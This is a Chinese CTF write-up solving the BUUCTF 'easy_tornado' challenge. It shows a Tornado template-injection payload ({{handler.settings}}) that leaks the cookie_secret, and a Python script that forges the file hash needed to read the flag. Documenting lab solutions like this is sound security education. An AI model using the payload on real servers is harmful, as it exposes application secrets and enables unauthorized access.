【BUUCTF】web 之 [护网杯 2018]easy_tornado

打开出现三个目录:
/flag.txt
/welcome.txt
/hints.txt

依次点开查看

flag.txt 告诉我们flag在哪里

点开welcome.txt 显示 render 之后百度:tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。漏洞在于用户对他可控的话,可以通过{ {}}传递变量或者执行表达式

/hints.txt 显示md5(cookie_secret+md5(filename))
仔细观察url发现 访问目录时 filename & filehash 变化, 加上目录里的提示我们可以构造url来解决此题。

使url中的filename=flllllllllllag
得到 http://50dea0f4-59b6-45a2-938a-6620a51c00c8.node3.buuoj.cn/error?msg=Error
修改 msg 的值 发现写在网页上面了 参考师傅们的博客:
msg={ {handler.settings}} 可得到cookie。
然后根据hints的提示解题 话不多说上脚本:

#coding:'utf-8'
import hashlib

cookie = 'd1b53e16-511d-46eb-8499-4672e647eb9b'
filename = '/fllllllllllllag'
md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest()
word= cookie + md5_filename
flag=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

所以 filehash=7301debca32903e96c13f04948944eb1
构造url访问得flag

SSTI服务器模板注入
不明白COOKIE咋来的点这里

你可能感兴趣的:(ctf,ssti,python,安全)